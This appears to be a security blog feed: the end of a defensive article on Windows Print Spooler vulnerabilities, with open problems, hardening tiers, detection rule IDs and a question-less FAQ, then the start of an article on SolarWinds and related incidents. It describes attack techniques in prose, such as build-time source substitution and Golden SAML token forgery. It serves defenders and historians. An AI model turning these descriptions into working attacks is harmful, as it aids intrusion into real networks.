The three-conjunct argument is a lower bound on bug class, not a security analysis. It says the architectural primitive cannot be made safe without breaking one of the conjuncts. It does not say that a specific implementation of an exit is itself secure. WPP could ship a bug. The Microsoft-signed module loader could have a parser vulnerability. The Spooler Worker process could be coerced into elevation through some intermediate IPC channel; that channel is itself a research question we return to in section 9.4. The architectural argument bounds what kind of bugs are still possible. It does not promise that no bugs will be.

The "service that loads caller-influenced code in a privileged context produces a privilege-escalation primitive by construction" pattern predates Windows. The capability-systems literature of the 1970s -- Hydra, KeyKOS, and the related work that gave us Mandatory Integrity Control as a Windows feature decades later -- worked through the same argument in different language. Confused-deputy attacks (the Hardy formulation) are exactly the case where a privileged process performs an operation on behalf of a less-privileged caller and the operation cashes out at the privileged process's authority. PrintNightmare is a confused-deputy primitive on `spoolsv.exe`. The architectural exits in section 5 are confused-deputy mitigations: revoke the deputy's authority (Universal Print breaks delegation entirely), confine what the deputy is willing to do (WPP module blocking), or split the deputy into a privileged broker and an unprivileged worker (WPP Spooler Worker).

Fifteen years of Print Spooler CVEs have produced a single argument with three corollaries. It is not new. It is not Microsoft's. It has been latent in the academic literature on capability systems since the 1970s. What is new in 2024 is that it shipped, in two flavors, on consumer Windows.

9. Open Problems

Three years after Microsoft shipped the architectural answer, the Print Spooler security story is not complete. We end with five open problems, presented without recommendation.

9.1 WPP Adoption Velocity Through the Opt-In Tail

No default-on commitment exists. The WPP FAQ uses the verbatim phrase "at a future date" for the default-on flip [@ms-wpp-faq]. As of June 2026, opt-in adoption is reported only anecdotally; Microsoft has not published telemetry. The three published deprecation milestones are real and dated -- January 15, 2026 (no new third-party drivers via Windows Update), July 1, 2026 (Windows IPP class driver preferred over third-party drivers for new printer installs), July 1, 2027 (third-party servicing ends except for security fixes) [@ms-end-of-servicing] -- but they do not equal "WPP is on by default."

The Lexmark vendor primary on the WPP transition spells out the operational reading from the printer-OEM perspective: "WPP is disabled by default until 2027... January 2026: no new third-party drivers published via Windows Update; July 2026: Windows defaults to IPP Class Driver when adding devices; July 2027: no updates for third-party drivers except security fixes" [@lexmark-wpp-support]. The OEMs are reading the milestones as a 2027 horizon for the default-on flip. Microsoft has not, in writing, confirmed that reading.

A negative-search finding sharpens the gap. The trade press that tracks Microsoft security launches (BleepingComputer's unveil coverage [@bleepingcomputer-wpp-unveil] and its dedicated WPP tag page [@bleepingcomputer-tag-wpp], BornCity's April 2026 Patch Tuesday print-issues report [@borncity-april-2026-patchday]), the Microsoft Tech Community discussion threads (the 2024 WPP intro discussion [@techcommunity-discuss-msec-print-4008206] and the Ignite 2024 Windows-security companion [@techcommunity-discuss-ignite-2024-4304464]), analyst output (the MPSA member eBook [@mpsa-wpp-ebook], Quocirca's vendor-published commentary [@computerweekly-quocirca-wpp]) -- none of these surface a quantitative WPP adoption number. Microsoft has not published telemetry, third-party analysts have not estimated it, and OEM disclosures cover hardware compatibility, not enterprise enablement rates. The gap is not a measurement difficulty; it is an absence in the public record.

9.2 The Specialty-Printer Gap

v3 / v4 driver printers without IPP-class compatibility still exist in production. Industrial label printers, healthcare imaging printers, secure check printers, line-printer holdouts. The honest answer is that these endpoints cannot adopt WPP and cannot adopt Universal Print and they will continue to run a legacy spooler. The defense for them is segmentation, not patching.

Print Support Apps help bridge some categories. The PSA design guide is the canonical specification [@ms-print-support-app-design-guide]. A walk through the Microsoft Store [@apps-microsoft-store-root] surfaces a sampled (not exhaustive) roster of vendor PSAs available as of June 2026: Brother's PSA was one of the first to ship [@brother-print-support-app] [@brother-support-page]; Canon Print Assistant covers Canon's IPP-everywhere subset [@canon-print-assistant-psa]; HP Smart bridges HP's IPP-everywhere set [@hp-smart-psa]; Konica Minolta's bizhub PSA covers the bizhub series [@konica-bizhub-psa]; Xerox and Lexmark co-publish a joint PSA [@xerox-lexmark-psa] [@lexmark-wpp-support]. The cloud-print intermediaries ezeep document the operational reality for the categories the PSA model does not cover: industrial label printers (Zebra, Honeywell, SATO, TSC, Dymo) speaking ZPL / EPL are absent from the Mopria-certified IPP-everywhere catalogue and from the Microsoft-Store PSA roster as of June 2026 [@ezeep-label-printers-wpp]. For those vendors the operational guidance is to keep WPP disabled on the affected workstations and to segment them off the production network.

9.3 CVE-2024-38198: Attribution and PoC Gap

No public researcher is named in any primary source for CVE-2024-38198. No public PoC exists [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. The bug was found, patched, and remained unattributed. This is not necessarily a problem -- silent fixes are normal in vendor patch flow -- but it is a data point: the bug class is still being mined three years after the disclosure event, and the public-research apparatus has not surfaced the next finding.

Note: CVE-2024-38198, patched on August 13, 2024, has no public researcher attribution and no public PoC as of June 2026 [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. It is the most recent named Print Spooler EoP in the public record. Its existence is the empirical proof point that the legacy spooler is still producing novel CWE-class bugs three years after PrintNightmare.

9.4 The spoolsv-to-Spooler-Worker IPC Primitive

WPP's per-user worker model introduces an IPC channel between the parent spoolsv.exe service and the Spooler Worker process [@ms-wpp-more-info]. Microsoft documents the worker's restricted token in detail (see the verbatim quote in section 6.1: "no longer runs at SYSTEM IL" [@ms-wpp-more-info] [@ms-wpp-more-info-wayback]) but does not, in public, document the IPC primitive itself. The absence is the load-bearing finding.

The Windows kernel offers at least four plausible IPC mechanisms that a service like the spooler could use to dispatch work to a per-user worker: an Advanced Local Procedure Call (ALPC) port, a named pipe (the same family \PIPE\spoolss is from), a COM activation under RPC, or a shared-memory section with notification. Each has a different attack surface. ALPC ports are not directly named in the filesystem but are reachable through documented APIs; named pipes inherit the SMB and named-pipe-anonymous policy plane [@ms-named-pipes-anonymous] [@ms-restrict-anonymous-named-pipes]; COM-RPC inherits the COM permission DACL surface; shared-memory sections inherit the section-object DACL surface. Per-user services in Windows (the per-user-services framework Microsoft introduced in 1709) typically use ALPC or named pipes for parent / worker dispatch [@ms-per-user-services]. Which mechanism WPP uses, and what authentication the parent demands of the worker (and vice versa), is the specific research question. As of June 2026 it is unanswered in the public record.

If that channel is itself coercible (TOCTOU on the IPC, redirection-style attacks on a worker named pipe), WPP may exhibit a SpoolFool-class bug at a different layer. Redirection Guard partially answers the obvious junction-following attack on the worker [@msrc-redirectionguard-blog] [@ms-redirection-trust-policy], but the worker has other IPC handles, and the worker's restricted token still has authority over operations the parent has delegated to it. No public research has surfaced an IPC-channel exploit as of June 2026. The research surface here is real and only loosely mapped.

9.5 Detection Signal Coverage for the Post-WPP Era

SigmaHQ, Splunk Security Content, Elastic, and Microsoft Defender XDR all ship rules for the PrintNightmare-era event signatures. SigmaHQ's PrintNightmare rule pack covers the PoC DLL load pattern (win_exploit_cve_2021_1675_printspooler.yml, rule ID 4e64668a-4da1-49f5-a8df-9e2d5b866718) [@sigma-cve-2021-1675-win-spooler]. The Zeek-on-the-wire DCE-RPC rule (ID 7b33baef-2a75-4ca3-9da4-34f9a15382d8) watches both MS-RPRN's RpcAddPrinterDriverEx and MS-PAR's RpcAsyncAddPrinterDriver [@sigma-cve-2021-1675-zeek]. Splunk's research-team detection on Microsoft-Windows-PrintService/Admin event code 316 (driver-add) carries the rule ID 313681a2-da8e-11eb-adad-acde48001122 and maps to MITRE ATT&CK technique T1547.012 (Print Processors) [@splunk-research-printnightmare-driver] [@splunk-printnightmare-story] [@attack-mitre-t1547-012]. Splunk's spoolsv.exe-focused rule pack adds: plug-in loading failure detection (1adc9548-da7c-11eb-8f13-acde48001122, PrintService Admin Event 808 and security log Event 4909) [@splunk-research-spoolsv-plugin-fail]; Sysmon Event ID 11 spool-folder DLL writes (347fd388-da87-11eb-836d-acde48001122) [@splunk-research-spoolsv-dll-sysmon]; Sysmon Event ID 7 loaded-modules signal on spoolsv.exe (a5e451f8-da81-11eb-b245-acde48001122) [@splunk-research-spoolsv-loaded-modules]; Sysmon Event ID 10 process-access signal on spoolsv.exe (799b606e-da81-11eb-93f8-acde48001122) [@splunk-research-spoolsv-process-access]. Elastic's prebuilt rule "Unusual Print Spooler Child Process" catches the post-exploit child-process spawn pattern (risk score 47) [@elastic-unusual-printspooler-child]. Azure Sentinel's KQL hunting query for PrintNightmare watches file creations in the print-spooler drivers folder (C:\WINDOWS\SYSTEM32\SPOOL\drivers) [@azure-sentinel-printnightmare-yaml].

Coverage for the WPP era is sparser, and the gap has a specific shape: because WPP has no in-product audit mode -- the ConfigureWindowsProtectedPrint CSP is the binary two-state setting documented in section 6.4 [@ms-policy-csp-printers] [@tenable-cis-w11-l2] -- pre-enforcement detection has to be synthesized from the existing PrintService Admin and Sysmon event signals (Event 316 driver-adds, 808 / 4909 plug-in failures, Sysmon 7 / 10 / 11 on spoolsv.exe) plus SCM service-state events (System log Event ID 7036 records spooler service start / stop transitions). Redirection Guard mitigation events appear in Microsoft-Windows-Security-Mitigations/Operational [@msrc-redirectionguard-blog]. IPC-related signals on the Spooler Worker do not have public detection content as of June 2026. The audit-without-audit-mode pattern is well understood by detection engineers running PrintNightmare content already; the synthesis work to compose it into a WPP rollout-ring playbook is the gap detection content vendors have not yet closed.

Five open problems. None of them are emergencies. All of them are reasons that a 2026 security program for Print Spooler is still a security program for Print Spooler, not an absence.

10. Practical Guide: What a Defender Does in 2026

We end with what a Windows administrator with print infrastructure should actually do in 2026. Four tiers, each with its own action list, none of them long.

10.1 Tier 1: Managed Enterprise with Cloud Workflows

For organizations already on Microsoft 365 with Entra-joined endpoints and cloud-friendly printers:

Adopt Universal Print for shared printers [@ms-universal-print-whatis] [@ms-universal-print-getting-started].
Adopt WPP on a pilot ring of managed endpoints (ConfigureWindowsProtectedPrint = 1); WPP has no in-product audit mode, so the deployment pattern is rings, not audit-then-enforce [@ms-wpp-enterprises] [@ms-policy-csp-printers] [@tenable-cis-w11-l2].
Verify Redirection Guard is enabled on spoolsv.exe [@ms-set-processmitigation] [@ms-redirection-trust-policy].
Verify the September 2021 default Point-and-Print policy is in force: RestrictDriverInstallationToAdministrators=1 [@kb-5005652-topic].

10.2 Tier 2: Managed Enterprise Without Cloud Workflows

For organizations with on-prem print infrastructure and no Universal Print appetite:

Deploy WPP to a pilot ring of managed endpoints (ConfigureWindowsProtectedPrint = 1) and watch Microsoft-Windows-PrintService/Admin for 30 or more days [@ms-wpp-enterprises] [@ms-policy-csp-printers] [@tenable-cis-server-2025-l2].
After the pilot, expand the ring to the subset of endpoints whose printers are Mopria-certified [@mopria-certified-products].
For non-Mopria printers, segment to dedicated print VLANs and enforce the September 2021 admin-only default [@kb-5005652-topic].
Verify Redirection Guard on spoolsv.exe on all spooler-bearing hosts [@msrc-redirectionguard-blog].

10.3 Tier 3: Specialty, Industrial, Regulated

For organizations whose print fleet includes specialty hardware (label printers, secure check printers, healthcare imaging):

Segment Spooler-bearing endpoints onto dedicated VLANs with restricted inbound RPC reachability [@ms-windows-firewall-overview].
Where possible, enforce the CERT/CC 2021 guidance on domain controllers (Spooler disabled); CISA's required actions for the same hosts now flow through BOD 22-01 KEV remediation after the January 2026 closure of ED 21-04, but the DC-disabled baseline is unchanged [@cert-vu-383432] [@cisa-ed-21-04].
Apply the September 2021 admin-only Point and Print default on every host [@kb-5005652-topic].
Subscribe to MSRC notifications for the affected SKUs [@msrc-cve-2021-34527].
Plan a multi-year IPP / PSA migration path; track vendor PSA availability [@brother-print-support-app] [@canon-print-assistant-psa] [@hp-smart-psa] [@konica-bizhub-psa] [@xerox-lexmark-psa] [@lexmark-wpp-support] [@ms-print-support-app-design-guide].

10.4 Tier 4: Print Server or Domain Controller Specifically

For hosts that are themselves print servers or domain controllers:

Spooler off where possible. CERT/CC's 2021 guidance remains in force; CISA closed ED 21-04 in January 2026 and folded its requirements into BOD 22-01 (KEV-catalog remediation), but the practical effect on a domain controller is unchanged [@cert-vu-383432] [@cisa-ed-21-04]. SCM service state-changes appear in the System event log under Event ID 7036 (service start / stop transitions); alert on unexpected Print Spooler Event 7036 entries on hosts where the service should remain stopped.
Where Spooler-off is impossible, isolate the host, restrict \PIPE\spoolss exposure at the firewall, and harden the named-pipe-anonymous policies (RestrictNullSessAccess = 1; spoolss absent from NullSessionPipes) [@ms-restrict-anonymous-named-pipes] [@ms-named-pipes-anonymous] [@ms-ad-firewall-ports].
Log MS-RPRN and MS-PAR calls; alert on RpcAddPrinterDriverEx and RpcAsyncAddPrinterDriver invocations from non-administrator SIDs [@sigma-cve-2021-1675-zeek]. The canonical event-log signals to instrument are: PrintService Admin Event ID 316 (driver-add) [@splunk-research-printnightmare-driver]; PrintService Admin Event ID 808 (spooler plug-in load failure) paired with security log Event ID 4909 [@splunk-research-spoolsv-plugin-fail]; Sysmon Event ID 7 (loaded modules on spoolsv.exe) [@splunk-research-spoolsv-loaded-modules]; Sysmon Event ID 10 (process access on spoolsv.exe) [@splunk-research-spoolsv-process-access]; Sysmon Event ID 11 (spool-folder DLL writes under C:\WINDOWS\SYSTEM32\SPOOL\drivers) [@splunk-research-spoolsv-dll-sysmon] [@azure-sentinel-printnightmare-yaml].
Confirm Redirection Guard is enabled on spoolsv.exe and watch Microsoft-Windows-Security-Mitigations/Operational for mitigation events [@msrc-redirectionguard-blog].

Note: CISA Emergency Directive 21-04, issued July 13, 2021, mandated that federal civilian agencies stop and disable the Print Spooler service on Active Directory domain controllers [@cisa-ed-21-04]. CISA closed ED 21-04 in January 2026 and transitioned its required actions to BOD 22-01 (Reducing the Significant Risk of Known Exploited Vulnerabilities). The compliance vehicle changed; the operational outcome did not. Agencies that have not adopted Universal Print on their DC infrastructure should still keep Spooler stopped and disabled on every DC.

For detection engineers, the named-rule packs to start from are: SigmaHQ `4e64668a-4da1-49f5-a8df-9e2d5b866718` (PrintService Admin Event 808 PoC DLL-load failure) [@sigma-cve-2021-1675-win-spooler]; SigmaHQ `7b33baef-2a75-4ca3-9da4-34f9a15382d8` (Zeek DCE-RPC wire-level driver install) [@sigma-cve-2021-1675-zeek]; Splunk story `fd79470a-da88-11eb-b803-acde48001122` (PrintNightmare analytic story, production status) [@splunk-printnightmare-story]; Splunk research `313681a2-da8e-11eb-adad-acde48001122` (PrintService Admin Event Code 316 driver-add) [@splunk-research-printnightmare-driver]; Elastic prebuilt rule "Unusual Print Spooler Child Process" (EQL, risk 47) [@elastic-unusual-printspooler-child]; Azure Sentinel hunting query `8f404352-c4ff-44d1-8d70-c50ee2fad8f8` (DeviceFileEvents in spool drivers folder) [@azure-sentinel-printnightmare-yaml]. Jacob Baines's DEF CON 29 "Bring Your Own Print Driver Vulnerability" [@defcon-29-baines-pdf] and the companion `concealed_position` repository [@baines-concealed-position] are the canonical reference for the BYOV attack class, which detection rule packs for installed-driver behavior also need to model.

The unifying pattern across the tiers: enforce the September 2021 default, enable Redirection Guard, audit WPP on the way to enforcement, and segment what cannot be migrated. The architectural answer to PrintNightmare exists. The operational answer is to use it.

11. Frequently Asked Questions

No. The press attached the name to a sequence. CVE-2021-1675 (June 8, 2021) was originally classed as a local EoP, then silently reclassified to RCE on June 21 [@nvd-cve-2021-1675] [@bleepingcomputer-domain-takeover]. CVE-2021-34527 (July 1, 2021) was the separate-bulletin out-of-band assignment for the RCE primitive Sangfor's PoC actually exploited [@nvd-cve-2021-34527] [@cert-vu-383432]. CVE-2021-34481 (July 15, 2021) was a related local EoP fixed in KB5005652 [@nvd-cve-2021-34481] [@kb-5005652-topic]. CVE-2021-36958 (September 14, 2021) was the next-cycle Print Spooler RCE [@nvd-cve-2021-36958]. Several adjacent bugs (CVE-2022-21999 SpoolFool, CVE-2024-38198) are often called "PrintNightmare-class" without being assigned the name themselves [@nvd-cve-2022-21999] [@wiz-cve-2024-38198]. The proof-of-concept that triggered the disclosure event on June 29, 2021 was written by Zhiniang Peng, Xuefeng Li, and Lewis Lee at Sangfor Technology for their Black Hat USA 2021 briefing "Diving Into Spooler" [@infocondb-bh2021-sangfor] [@afwu-wayback-snapshot]. They published it briefly believing the bug had been patched on June 8; the patch turned out to cover only the synchronous MS-RPRN entry point [@nvd-cve-2021-1675]. A second variant against the asynchronous MS-PAR `RpcAsyncAddPrinterDriver` was published shortly after by the researcher `@cube0x0` [@cube0x0-cve-2021-1675] [@cert-vu-383432]. The CERT/CC disclosure-norms advisory VU#383432 was a separate document by Will Dormann about the disclosure failure itself, not the bug [@cert-vu-383432]. No. SpoolFool (CVE-2022-21999, disclosed February 8, 2022 by Oliver Lyak / `@ly4k_` of SafeBreach Labs) is a Print Spooler local privilege escalation that abuses the printer `SpoolDirectory` registry value and NTFS reparse points, classified as CWE-59 (Link Following) [@nvd-cve-2022-21999] [@ly4k-spoolfool]. Win32k is the GUI subsystem and is uninvolved. The researcher handle is `@ly4k_` with a trailing underscore; `@jonas_lyk` is a distinct researcher. No, and it is not from March 2024 either. CVE-2024-38198 (August 13, 2024 Patch Tuesday) is a Print Spooler Elevation of Privilege Vulnerability classified as CWE-345 Insufficient Verification of Data Authenticity [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. Exploitation requires winning a race, but the CWE is 345, not 362, and Microsoft did not name Point and Print as the affected component. CVSS v3.1 base 7.5 (`AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`) [@wiz-cve-2024-38198]. No public PoC and no public researcher attribution exist as of June 2026. Because the third-party printer-driver install base assumes drivers are loaded into a LocalSystem-context process. Sandboxing the spooler would break compatibility with the v3 and v4 driver model that the entire pre-2024 printer install base ships against [@ms-printer-driver-isolation] [@ms-print-spooler-architecture]. Microsoft's chosen architectural exits (Windows Protected Print Mode and Universal Print) sidestep the constraint by either restricting which DLLs the spooler will load (WPP module blocking plus the lower-privilege Spooler Worker) or removing the local spooler from the workflow entirely (Universal Print) [@ms-wpp-more-info] [@ms-wpp-canonical] [@ms-universal-print-whatis]. For endpoints that print only through Universal Print and where the local Spooler service is disabled, yes. The `\PIPE\spoolss` RPC entry point is not exposed and the architectural primitive is broken [@ms-universal-print-whatis] [@ms-universal-print-getting-started]. Most enterprise deployments are mixed (Universal Print for some workflows, local Spooler for others), in which case the PrintNightmare risk surface is reduced but not eliminated. Universal Print does not automatically disable the local Spooler. We can find no record of one. The Sangfor "Diving Into Spooler" talk on August 4, 2021 at Black Hat USA 2021 is the canonical primary-source talk for the technique [@infocondb-bh2021-sangfor]. Jacob Baines's DEF CON 29 (August 2021) talk "Bring Your Own Print Driver Vulnerability" is a related contemporary talk worth citing if you have heard the Giakouminakis attribution and are trying to track down its source [@defcon-29-baines-pdf] [@baines-concealed-position]. The Sangfor Black Hat USA 2021 session record (presenters, time, abstract) is preserved on InfoconDB at `infocondb.org/con/black-hat/black-hat-usa-2021/diving-into-spooler-discovering-lpe-and-rce-vulnerabilities-in-windows-printer` [@infocondb-bh2021-sangfor]. Jacob Baines's DEF CON 29 slides are mirrored at `media.defcon.org/DEF CON 29/DEF CON 29 presentations/Jacob Baines - Bring Your Own Print Driver Vulnerability.pdf` [@defcon-29-baines-pdf], and the companion `concealed_position` GitHub repository documents the four-CVE driver exploit set (ACIDDAMAGE / RADIANTDAMAGE / POISONDAMAGE / SLASHINGDAMAGE) [@baines-concealed-position].

The Thirteen Months That Made Zero Trust Unavoidable: The Windows Security Wars Part 5 (2020-2023)

noreply@paragmali.com (Parag Mali) — Wed, 27 May 2026 00:00:00 GMT

Four incidents in thirteen months -- SolarWinds (December 2020), ProxyLogon (March 2021), PrintNightmare (June-July 2021), and Log4Shell (December 2021) -- broke four assumptions the Windows blue team had quietly elevated to invariants: that signed vendor updates are trustworthy, that on-premises server fleets are bounded by the firewall, that legacy SYSTEM services on Domain Controllers are not on the attack surface, and that transitive dependencies are knowable. The architectural pivot was already on the shelf: NIST SP 800-207, *Zero Trust Architecture*, shipped in August 2020, four months before SolarWinds. The defensive primitives that operationalized it -- Microsoft Pluton, the Windows 11 hardware baseline, Conditional Access with Continuous Access Evaluation and the Primary Refresh Token, and the LSA Protection and Vulnerable Driver Blocklist defaults -- shipped at scale through 2022-2023. The trust roots are still not closed; Storm-0558 (July 2023) is the existence proof that the policy engine itself is a privileged plane. That is Part 6.

1. Eighteen Thousand Signatures, All Valid

On December 13, 2020 -- a Sunday -- Mandiant Threat Intelligence pushed a blog post to FireEye's website titled "Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor." The post named a single binary, SolarWinds.Orion.Core.BusinessLayer.dll, that had been digitally signed by SolarWinds' legitimate code-signing certificate and distributed through SolarWinds' own update server between February and June 2020 [@mandiant-sunburst]. Two days later, SolarWinds filed a Form 8-K with the U.S. Securities and Exchange Commission stating that the actual number of customers who installed the updates between March and June 2020 was fewer than 18,000 [@solarwinds-sec-edgar].

Two months after that, Microsoft President Brad Smith testified to the U.S. Senate Select Committee on Intelligence that the number of follow-on victims who had been targeted with further lateral movement -- via a token-forgery primitive against Active Directory Federation Services -- was fewer than 100 [@senate-intel-2021-02-23].

The architectural lesson is in the gap between those two numbers. Eighteen thousand endpoints validated the Authenticode signature on a binary [@ms-authenticode], executed it as trusted code, and did exactly what an endpoint protection product is specified to do: nothing, because the binary was signed by a vendor on the trusted publisher list. The attacker then chose roughly one hundred targets to pursue further. The signature was real. The build pipeline that produced the signature was compromised. Ken Thompson's 1983 Turing Award lecture "Reflections on Trusting Trust," published in Communications of the ACM in August 1984, had predicted this exact class thirty-six years earlier [@thompson-1984-acm, @thompson-nakamoto-reading]; in December 2020 the Windows industry collected the receipt.

This is the largest and most sophisticated attack the world has ever seen ... we have seen substantial evidence that points to the Russian foreign intelligence agency, and we have found no evidence that leads us anywhere else. -- Brad Smith, Microsoft President, U.S. Senate Select Committee on Intelligence, February 23, 2021 [@senate-intel-2021-02-23]

SolarWinds was the first of four incidents the Windows blue team did not have a vocabulary for. ProxyLogon arrived in March 2021 and broke the assumption that on-premises Exchange Server fleets were bounded by the corporate firewall. PrintNightmare arrived in June-July 2021 and broke the assumption that legacy services running as SYSTEM on Domain Controllers were not on the attack surface. Log4Shell arrived in December 2021 and broke the assumption that "what software is in my fleet" was an answerable question.

Four incidents. Thirteen months. Four assumptions that the prior decade had quietly elevated to invariants. If the signature was real and the build was compromised, then "protect the endpoint" was protecting the wrong thing. Where did the threat model go?

2. Why 2020 Was the Inflection Point

The four incidents did not happen because 2020 was uniquely insecure. They happened because the structural conditions had been gathering for a decade, and three of them converged that year.

The endpoint-protection era's high-water mark. By 2019, the operational consensus across Windows fleets was that endpoint-centric defense-in-depth had become tractable. Credential Guard (2015) isolated LSASS secrets in a virtualization-based enclave [@ms-credential-guard]. Windows Defender ATP (2016) streamed kernel-level telemetry to a security operations centre. BloodHound (2016) made the on-premises Active Directory graph queryable as attack paths rather than as object permissions [@bloodhound-specterops]. Device Guard and WDAC (2017) constrained kernel and userspace code identity. The threat model was the endpoint. The perimeter was the VPN. The build pipeline was the vendor's problem. The cloud identity layer was Conditional Access on a handful of policies. The blue team's frame of reference was finite and bounded.

Microsoft's 2021 Digital Defense Report framed the post-event detection posture honestly: the industry had become good at finding attackers after the fact, less good at stopping them at first execution [@mddr-2021-specific]. Detection and response as the load-bearing primitive is precisely the posture that SolarWinds invalidated -- because the binary that ran was the one the EDR was specified to trust.

The pandemic-era expansion of the attack surface. From March 2020 onward, remote work shifted authentication to cloud identity providers, exposed VPN and RDP gateways at unprecedented scale, and made internet-facing Exchange near-universal in the mid-market. None of this caused SolarWinds -- the SolarWinds build-pipeline access had begun in September 2019 -- but it reshaped which incidents had the most operational impact when they landed. An Exchange Server fleet that had been ten internal users behind a VPN in 2019 was a hundred external users on the public internet in 2021. ProxyLogon would have been a serious incident in 2019. In 2021 it was a federal emergency.

An attack in which an adversary alters software, hardware, or services *before* the legitimate vendor delivers them, so that the eventual victim trusts the malicious artifact by virtue of trusting the vendor's identity. The compromise can occur at the source (commit signing keys), the build (the compiler or build server), the distribution (the update channel), or the installation (the package manager). SUNBURST was a *build-pipeline* compromise: SolarWinds' source remained clean; the build server inserted SUNBURST code into the compiled artifact, then signed it with SolarWinds' legitimate code-signing certificate.

The state of supply-chain assurance circa 2020. SLSA, the framework that would later codify "what does it mean for a build to be trustworthy" [@google-slsa-2021-06-16, @slsa-v1-levels], did not yet exist; Google announced it in June 2021. Reproducible builds were a research aspiration on a handful of Linux distributions. CycloneDX [@cyclonedx-home] and SPDX [@spdx-home] existed as bill-of-materials specifications but had no federal mandate behind them. in-toto [@in-toto-home] was the only deployed cryptographic-attestation framework for build steps, and adoption was minimal. Executive Order 14028, which would make Software Bill of Materials provision a federal procurement requirement, was still six months away [@eo-14028]. The build pipeline was not threat-modeled as attacker territory because no one had a name for the territory yet.

The same 2020-2023 window also produced a parallel criminal-economy track this article does not walk operationally: the human-operated ransomware cluster of Conti, REvil, DarkSide, and BlackCat / ALPHV, and the supply-chain-adjacent ransomware incidents Colonial Pipeline (May 2021, DarkSide), JBS Foods (May 2021, REvil), and Kaseya VSA (July 2, 2021, REvil). Kaseya is the non-Microsoft supply-chain parallel to SolarWinds: compromise the MSP-tier remote-monitoring platform, downstream MSPs and their customers receive trojanized commands, an architectural class that is not Microsoft-specific [@kaseya-ic3-csa-pdf-substitute]. The canonical primaries are CISA / FBI / NSA / USSS Joint Advisory AA21-265A on Conti [@conti-aa21-265a-wayback], the July 6, 2021 CISA-FBI Kaseya guidance [@kaseya-ic3-csa-pdf-substitute], the April 2022 FBI Flash and CISA alert on BlackCat / ALPHV [@cisa-blackcat-alert-substitute], and the February 2022 US/UK/AU joint ransomware advisory AA22-040A [@cisa-aa22-040a]. Microsoft's canonical framing for "human-operated ransomware" lives in the Digital Defense Report 2022 Cybercrime chapter [@mddr-2022]; readers wanting the operational ransomware-economy treatment should start there.

Taken together, these three threads produced an industry in which the trust-anchor primitives (signed code, perimeter firewalls, default-enabled SYSTEM services, "what library are we using") had all been quietly elevated to invariants while the conditions that made them invariant were eroding. The four incidents are not four bugs; they are four exposures of those four assumptions. The next section walks each in turn.

3. The Four Incidents

3.1 SolarWinds / SUNBURST: Supply Chain at Silicon

Five days before Mandiant published the SUNBURST analysis, FireEye's CEO Kevin Mandia disclosed that "a highly sophisticated state-sponsored adversary" had stolen FireEye's internal Red Team tooling [@mandiant-fireeye-rt-tools]. The disclosure triggered an internal investigation that traced the access path through FireEye's own SolarWinds Orion deployment. By the time Mandiant pushed the December 13 blog, the chain was named, the affected DLL was identified, and the federal response was already moving: CISA's Emergency Directive 21-01 went out the same day, ordering every Federal Civilian Executive Branch agency to disconnect or power down SolarWinds Orion products [@cisa-ed-21-01].

The exploit chain. The SolarWinds build pipeline had been compromised since approximately September 2019, eight months before the trojanized builds reached customers [@solarwinds-orange-matter-sunburst]. Between February and June 2020, the SolarWinds release process produced four signed versions of Orion that contained additional code added during the build itself, after the source was clean but before the artifact was signed. The compromised builds embedded a backdoor Mandiant named SUNBURST inside SolarWinds.Orion.Core.BusinessLayer.dll [@mandiant-sunburst]. SUNBURST was deliberately quiet: it slept for up to two weeks after install, camouflaged its callback traffic as legitimate Orion telemetry, generated its command-and-control hostnames from a domain-generation algorithm rooted at avsvmcloud.com, and ignored any host whose environment matched the attacker's exclusion list (which included most security vendors and some forensic tooling). On selected targets, SUNBURST loaded a second-stage Cobalt Strike beacon named TEARDROP [@mandiant-sunburst] or its variant Raindrop [@symantec-raindrop-2021], and from there the attacker pursued domain compromise of the on-premises Active Directory.

SUNSPOT: the build-time injector. Mandiant's December 13 post named the SUNBURST artifact but did not yet describe how the trojanized DLL got into the build. On January 11, 2021, CrowdStrike Intelligence published an analysis of the injector itself, codenamed SUNSPOT, co-published with SolarWinds' own root-cause investigation update [@crowdstrike-sunspot, @solarwinds-orange-matter-sunburst]. SUNSPOT was a Windows binary present on the SolarWinds build server as taskhostsvc.exe. It monitored running processes for MsBuild.exe, walked the new process's environment to find the directory of the Orion Visual Studio solution, located the source file InventoryManager.cs, replaced its contents on disk with a SUNBURST-bearing version just before the C# compiler read the file, waited for the build to finish, then atomically restored the original file. Because the substitution happened in the narrow window between MsBuild reading the source and the compiler emitting the binary, the source repository at rest never showed evidence. The artifact on disk after the build looked exactly like the artifact a clean build would have produced -- except that the compiled bytes embedded SUNBURST.

The build-time injector CrowdStrike identified as the SolarWinds-side companion to SUNBURST [@crowdstrike-sunspot]. SUNSPOT is the operational realization at production scale of the threat model Ken Thompson described in 1984: the build process is the trust boundary, and an attacker who controls the build process produces an artifact whose signature is correct but whose semantics are not what the source code says.

The on-premises compromise was the means. The cloud pivot was the end. Once the attacker controlled the on-premises ADFS server's token-signing private key, the chain shifted to Golden SAML.

A token-forgery technique introduced by Shaked Reiner of CyberArk Labs in November 2017 [@reiner-2017-cyberark]. If an attacker obtains the token-signing private key of a SAML 2.0 identity provider (typically the on-premises Active Directory Federation Services token-signing certificate), the attacker can forge a SAMLResponse for any user, with any group memberships, valid for any duration. Service providers that trust the federation cannot distinguish forged tokens from legitimate ones. Reiner published a reference implementation called `shimit` alongside the disclosure [@cyberark-shimit-gh]. The naming is a deliberate parallel to Mimikatz's Golden Ticket against Kerberos. The first-stage backdoor that Mandiant identified inside `SolarWinds.Orion.Core.BusinessLayer.dll` in December 2020 [@mandiant-sunburst, @solarwinds-sec-edgar]. SUNBURST established initial command and control over HTTPS, blending into the volume of telemetry that legitimate Orion deployments generated. sequenceDiagram participant SUNSPOT as SUNSPOT on SolarWinds build server participant Build as SolarWinds MsBuild process participant Customer as Customer Orion Server participant C2 as avsvmcloud DGA C2 participant ADFS as On-prem ADFS participant M365 as Microsoft 365 SUNSPOT->>Build: Replace InventoryManager.cs at compile time Build->>Customer: Signed Orion update with SUNBURST DLL Customer->>Customer: Authenticode validates signature, executes Customer->>C2: HTTPS beacon disguised as Orion telemetry C2->>Customer: TEARDROP or Raindrop second-stage loader Customer->>ADFS: Lateral movement, extract token-signing key ADFS->>ADFS: Attacker forges SAMLResponse offline ADFS->>M365: Golden SAML token for chosen identity M365->>M365: 